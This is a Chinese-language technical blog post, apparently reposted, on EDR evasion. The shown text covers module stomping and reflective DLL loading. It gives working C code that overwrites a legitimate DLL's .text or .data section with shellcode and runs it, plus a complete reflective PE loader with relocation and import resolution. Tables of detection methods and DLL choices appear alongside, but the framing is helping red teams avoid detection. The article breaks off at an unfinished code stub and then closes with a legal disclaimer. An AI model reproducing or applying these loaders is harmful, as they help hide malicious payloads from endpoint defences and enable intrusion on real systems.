EDR攻击技术-内存与执行规避

admin 2026-09-23 06:47:10 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统阐述EDR攻击中的内存与执行规避技术,涵盖modulestomping、反射DLL加载、内存加密(Ekko、Cronos等)、调用栈欺骗及远程进程注入等核心方法,并分析各技术的原理、实现与检测规避思路,为红队规避EDR检测提供实践参考。 综合评分: 88 文章分类: 红队,免杀,恶意软件,渗透测试,安全工具


EDR攻击技术-内存与执行规避

原创

pandazhengzheng pandazhengzheng

安全分析与研究

2026年9月20日 22:00 广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

目录

  1. 内存与执行规避概述
  2. Module Stomping(模块踩踏)
  3. Reflective DLL Loading(反射 DLL 加载)
  4. 内存加密概述
  5. Ekko
  6. Cronos
  7. Foliage
  8. Gargoyle
  9. Pool Party
  10. Sleep Mask 综述
  11. Call Stack Spoofing(调用栈欺骗)
  12. 远程进程注入
  13. APC 与 Fiber 异步执行
  14. 完整 Loader 设计原则
  15. 小结

1. 内存与执行规避概述

1.1 定位

第 4 篇聚焦进程属性欺骗遥测通道抑制。本篇聚焦内存落地方式执行载体选择——使 shellcode 在内存中”看起来合法”且通过”不产生可疑信号”的方式执行。

1.2 核心问题

Shellcode 加载到内存后面临的问题:
├─ 内存区域类型: Private+Execute → 可疑
├─ 内存扫描: YARA 扫描发现 shellcode 签名
├─ 调用栈: 返回地址在 Private 内存 → 可疑
├─ 线程起始地址: 起始地址在 Private 内存 → 可疑
└─ 睡眠时: shellcode 明文驻留内存 → 可被扫描

1.3 规避技术映射

| 问题 | 规避技术 | 原理 | | — | — | — | | Private+Execute | Module Stomping | shellcode 在 IMAGE 内存 | | 内存扫描 | Sleep Mask | 睡眠时加密内存 | | 调用栈异常 | Call Stack Spoofing | 伪造合法调用栈 | | 线程起始地址 | APC/Fiber | 无新线程 | | 远程注入信号 | 远程进程注入优化 | 减少跨进程信号 |

1.4 技术分类

内存落地方式          执行载体           睡眠保护
├─ Module Stomping   ├─ APC            ├─ Ekko
├─ Reflective DLL    ├─ Fiber          ├─ Cronos
├─ Process Hollowing ├─ Thread Hijack  ├─ Foliage
└─ Manual Mapping    └─ Callback       ├─ Gargoyle
                                        ├─ Pool Party
                                        └─ Sleep Mask

2. Module Stomping(模块踩踏)

2.1 原理

Module Stomping:加载一个合法 DLL,然后覆写其 .text 节区为 shellcode。shellcode 在合法 DLL 的内存中执行。

1. LoadLibrary("xpservices.dll")  → 加载合法 DLL 到 IMAGE 内存
2. 找到 .text 节区
3. VirtualProtect(.text, RW)      → 改为可写
4. memcpy(.text, shellcode)       → 覆写为 shellcode
5. VirtualProtect(.text, RX)      → 改回可执行
6. 执行 .text                     → shellcode 在 IMAGE 内存执行

2.2 为什么 Module Stomping 有效

| 检测维度 | 无 Module Stomping | 有 Module Stomping | | — | — | — | | 内存区域类型 | Private+Execute(可疑) | Image+RX(合法) | | RIP 落点 | Private 内存(可疑) | Image 内存(合法) | | 调用栈返回地址 | Private 内存(可疑) | Image 内存(合法) | | 线程起始地址 | Private 内存(可疑) | Image 内存(合法) | | 映像加载回调 | 无映像加载 | 合法映像加载 |

2.3 基本实现

BOOL moduleStomping(PBYTE shellcode, SIZE_T shellSize) {
    // 1. 加载合法 DLL(不解析导入、不调用 DllMain)
    HMODULE hMod = LoadLibraryExW(
        L"xpservices.dll",
        NULL,
        DONT_RESOLVE_DLL_REFERENCES  // 不执行 DllMain
    );
    if (!hMod) return FALSE;

    // 2. 解析 PE 头,找到 .text 节区
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hMod;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hMod + dos->e_lfanew);
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt);

    PIMAGE_SECTION_HEADER textSection = NULL;
&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i < nt->FileHeader.NumberOfSections; i++) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(memcmp(section[i].Name,&nbsp;".text",&nbsp;5) ==&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; textSection = &section[i];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;if&nbsp;(!textSection)&nbsp;return&nbsp;FALSE;

&nbsp; &nbsp;&nbsp;// 3. 检查 shellcode 大小
&nbsp; &nbsp;&nbsp;if&nbsp;(shellSize > textSection->Misc.VirtualSize)&nbsp;return&nbsp;FALSE;

&nbsp; &nbsp;&nbsp;// 4. 覆写 .text
&nbsp; &nbsp; PVOID textAddr = (BYTE*)hMod + textSection->VirtualAddress;
&nbsp; &nbsp; DWORD oldProt;
&nbsp; &nbsp; VirtualProtect(textAddr, textSection->Misc.VirtualSize,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PAGE_READWRITE, &oldProt);
&nbsp; &nbsp;&nbsp;memcpy(textAddr, shellcode, shellSize);
&nbsp; &nbsp; VirtualProtect(textAddr, textSection->Misc.VirtualSize,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PAGE_EXECUTE_READ, &oldProt);

&nbsp; &nbsp;&nbsp;// 5. 执行
&nbsp; &nbsp; ((void(*)())textAddr)();

&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;
}

2.4 DLL 选择

选择标准

  • **足够大的 .text**:容纳 shellcode(通常 > 100KB);
  • 不常用:避免与正常功能冲突;
  • 合法签名:数字签名有效;
  • System32 路径:路径合法。

| DLL | .text 大小 | 适用 | | — | — | — | | xpsservices.dll | ~1MB | 最常用 | | mscorbi.dll | ~数 MB | 大 shellcode | | clr.dll | ~数十 MB | 极大 shellcode | | d3d11.dll | ~数 MB | 图形相关 |

2.5 Module Stomping 的检测

| 检测方法 | 原理 | 是否有效 | | — | — | — | | 映像与磁盘比对 | 内存 .text 与磁盘文件不一致 | ✅ 可检测 | | COW 位检查 | .text 被修改触发 COW | ✅ moneta 可检测 | | 映像签名验证 | 覆写后签名失效 | ⚠️ | | 加载上下文 | 为何此进程加载此 DLL? | ✅ 行为异常 |

2.6 Module Stomping 的改进

2.6.1 避免触发 COW

问题VirtualProtect(.text, RW) + memcpy 触发 COW,moneta 可检测。

改进:覆写 .data 而非 .text.data 已可写,不触发 COW):

// 覆写 .data 节区(已 RW,不触发 COW)
PIMAGE_SECTION_HEADER dataSection = getSection(nt,&nbsp;".data");
PVOID dataAddr = (BYTE*)hMod + dataSection->VirtualAddress;
// .data 已可写,无需 VirtualProtect
memcpy(dataAddr, shellcode, shellSize);
// 改为可执行
VirtualProtect(dataAddr, shellSize, PAGE_EXECUTE_READ, &oldProt);
((void(*)())dataAddr)();

注意:将 .data 改为 PAGE_EXECUTE_READ 仍可能被检测(非标准权限)。

2.6.2 未落盘 PE 映射

从内存中映射 PE(不经过 LoadLibrary),避免映像加载回调:

// 手动映射 PE(不触发 PsSetLoadImageNotifyRoutine)
// 1. 分配内存
// 2. 复制 PE 头和节区
// 3. 处理重定位
// 4. 解析导入
// 5. 不调用 DllMain
// 注意:手动映射的内存是 MEM_PRIVATE,不是 MEM_IMAGE
// &nbsp; &nbsp; &nbsp; 除非使用 NtMapViewOfSection 从 Section 映射

2.7 Module Stomping vs Reflective DLL Loading

| 对比 | Module Stomping | Reflective DLL Loading | | — | — | — | | 内存类型 | MEM_IMAGE(LoadLibrary) | MEM_PRIVATE(手动映射) | | 映像加载回调 | 触发(合法映像) | 不触发 | | 与磁盘比对 | 可比对(不一致 → 可检测) | 无磁盘可比对 | | COW | 触发(覆写 .text) | 不触发(全新内存) | | 检测难度 | 中(COW + 比对) | 中(PRIVATE+EXECUTE) |


3. Reflective DLL Loading(反射 DLL 加载)

3.1 原理

Reflective DLL Loading:不通过 LoadLibrary 加载 DLL,而是自己实现 PE 加载器——从内存中映射 PE,处理重定位和导入,不落盘。

正常加载:
&nbsp; &nbsp; LoadLibrary("dll.dll") → OS 加载 → 映像加载回调 → DllMain

反射加载:
&nbsp; &nbsp; reflectiveLoad(dllBytes) → 自己映射 → 不触发回调 → DllMain

3.2 反射加载的步骤

PVOID&nbsp;reflectiveLoad(PBYTE dllBytes)&nbsp;{
&nbsp; &nbsp;&nbsp;// 1. 解析 DOS/NT 头
&nbsp; &nbsp; PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllBytes;
&nbsp; &nbsp; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(dllBytes + dos->e_lfanew);

&nbsp; &nbsp;&nbsp;// 2. 分配内存(IMAGE_SIZEOF_IMAGE)
&nbsp; &nbsp; SIZE_T imageSize = nt->OptionalHeader.SizeOfImage;
&nbsp; &nbsp; PVOID base =&nbsp;NULL;
&nbsp; &nbsp; NtAllocateVirtualMemory(GetCurrentProcess(), &base,&nbsp;0, &imageSize,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

&nbsp; &nbsp;&nbsp;// 3. 复制 PE 头
&nbsp; &nbsp; SIZE_T headersSize = nt->OptionalHeader.SizeOfHeaders;
&nbsp; &nbsp;&nbsp;memcpy(base, dllBytes, headersSize);

&nbsp; &nbsp;&nbsp;// 4. 复制节区
&nbsp; &nbsp; PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt);
&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i < nt->FileHeader.NumberOfSections; i++) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;memcpy((BYTE*)base + sections[i].VirtualAddress,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dllBytes + sections[i].PointerToRawData,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sections[i].SizeOfRawData);
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;// 5. 处理基址重定位
&nbsp; &nbsp; applyRelocations(base, nt->OptionalHeader.ImageBase,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(DWORD_PTR)base);

&nbsp; &nbsp;&nbsp;// 6. 解析导入表
&nbsp; &nbsp; resolveImports(base, nt);

&nbsp; &nbsp;&nbsp;// 7. 设置节区权限
&nbsp; &nbsp; setSectionPermissions(base, nt);

&nbsp; &nbsp;&nbsp;// 8. 调用 DllMain(可选)
&nbsp; &nbsp; DLL_MAIN dllMain = (DLL_MAIN)((BYTE*)base +
&nbsp; &nbsp; &nbsp; &nbsp; nt->OptionalHeader.AddressOfEntryPoint);
&nbsp; &nbsp; dllMain((HINSTANCE)base, DLL_PROCESS_ATTACH,&nbsp;NULL);

&nbsp; &nbsp;&nbsp;return&nbsp;base;
}

3.3 重定位处理

void&nbsp;applyRelocations(PVOID base, DWORD_PTR originalBase, DWORD_PTR newBase)&nbsp;{
&nbsp; &nbsp; PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
&nbsp; &nbsp; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)base + dos->e_lfanew);

&nbsp; &nbsp;&nbsp;// 获取重定位目录
&nbsp; &nbsp; PIMAGE_DATA_DIRECTORY relocDir =
&nbsp; &nbsp; &nbsp; &nbsp; &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
&nbsp; &nbsp;&nbsp;if&nbsp;(relocDir->VirtualAddress ==&nbsp;0)&nbsp;return;

&nbsp; &nbsp; PIMAGE_BASE_RELOCATION reloc =
&nbsp; &nbsp; &nbsp; &nbsp; (PIMAGE_BASE_RELOCATION)((BYTE*)base + relocDir->VirtualAddress);
&nbsp; &nbsp; DWORD_PTR delta = newBase - originalBase;

&nbsp; &nbsp;&nbsp;while&nbsp;(reloc->VirtualAddress) {
&nbsp; &nbsp; &nbsp; &nbsp; PWORD entries = (PWORD)((BYTE*)reloc +&nbsp;sizeof(IMAGE_BASE_RELOCATION));
&nbsp; &nbsp; &nbsp; &nbsp; DWORD count = (reloc->SizeOfBlock -&nbsp;sizeof(IMAGE_BASE_RELOCATION)) /&nbsp;sizeof(WORD);

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(DWORD i =&nbsp;0; i < count; i++) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WORD type = entries[i] >>&nbsp;12;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WORD offset = entries[i] &&nbsp;0xFFF;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(type == IMAGE_REL_BASED_DIR64) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PULONG_PTR addr = (PULONG_PTR)((BYTE*)base +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; reloc->VirtualAddress + offset);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *addr += delta;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)reloc + reloc->SizeOfBlock);
&nbsp; &nbsp; }
}

3.4 导入解析

void&nbsp;resolveImports(PVOID base, PIMAGE_NT_HEADERS nt)&nbsp;{
&nbsp; &nbsp; PIMAGE_DATA_DIRECTORY importDir =
&nbsp; &nbsp; &nbsp; &nbsp; &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
&nbsp; &nbsp;&nbsp;if&nbsp;(importDir->VirtualAddress ==&nbsp;0)&nbsp;return;

&nbsp; &nbsp; PIMAGE_IMPORT_DESCRIPTOR&nbsp;import&nbsp;=
&nbsp; &nbsp; &nbsp; &nbsp; (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)base + importDir->VirtualAddress);

&nbsp; &nbsp;&nbsp;while&nbsp;(import->Name) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 加载依赖 DLL
&nbsp; &nbsp; &nbsp; &nbsp; LPCSTR dllName = (LPCSTR)((BYTE*)base +&nbsp;import->Name);
&nbsp; &nbsp; &nbsp; &nbsp; HMODULE hDll = LoadLibraryA(dllName); &nbsp;// 或自定义加载

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 解析函数
&nbsp; &nbsp; &nbsp; &nbsp; PIMAGE_THUNK_DATA thunk =
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (PIMAGE_THUNK_DATA)((BYTE*)base +&nbsp;import->FirstThunk);
&nbsp; &nbsp; &nbsp; &nbsp; PIMAGE_THUNK_DATA origThunk =
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (PIMAGE_THUNK_DATA)((BYTE*)base +&nbsp;import->OriginalFirstThunk);

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(thunk->u1.AddressOfData) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 按序号导入
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; thunk->u1.Function = (ULONG_PTR)GetProcAddress(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hDll, (LPCSTR)IMAGE_ORDINAL(origThunk->u1.Ordinal));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 按名称导入
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PIMAGE_IMPORT_BY_NAME importName =
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (PIMAGE_IMPORT_BY_NAME)((BYTE*)base +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; origThunk->u1.AddressOfData);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; thunk->u1.Function = (ULONG_PTR)GetProcAddress(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hDll, importName->Name);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; thunk++;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; origThunk++;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;import++;
&nbsp; &nbsp; }
}

3.5 反射加载的检测

| 检测方法 | 原理 | 是否有效 | | — | — | — | | PRIVATE+EXECUTE 检查 | 反射加载的 PE 在私有内存 | ✅ pe-sieve 可检测 | | PE 头扫描 | 私有内存中存在 PE 头 | ✅ pe-sieve 可检测 | | 导入表不完整 | IAT 可能不在 Ldr 中 | ✅ 可检测 | | 线程起始地址 | 从 PRIVATE 内存执行 | ✅ 可检测 |

3.6 反射加载 vs Module Stomping

**反射加载的内存是 MEM_PRIVATE**——这是其主要弱点。pe-sieve 专门检测私有内存中的 PE。

**Module Stomping 的内存是 MEM_IMAGE**——更合法,但 COW 可检测。

选择

  • 若 EDR 重视 PRIVATE+EXECUTE → Module Stomping;
  • 若 EDR 重视 COW/映像比对 → Reflective Loading + 进一步处理。

3.7 Reflective DLL Loading 的改进

改进方向:使反射加载的内存看起来像 IMAGE

// 使用 NtMapViewOfSection 从 Section 对象映射

`


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全分析与研究 pandazhengzheng pandazhengzheng《EDR攻击技术-内存与执行规避》

评论:0   参与:  0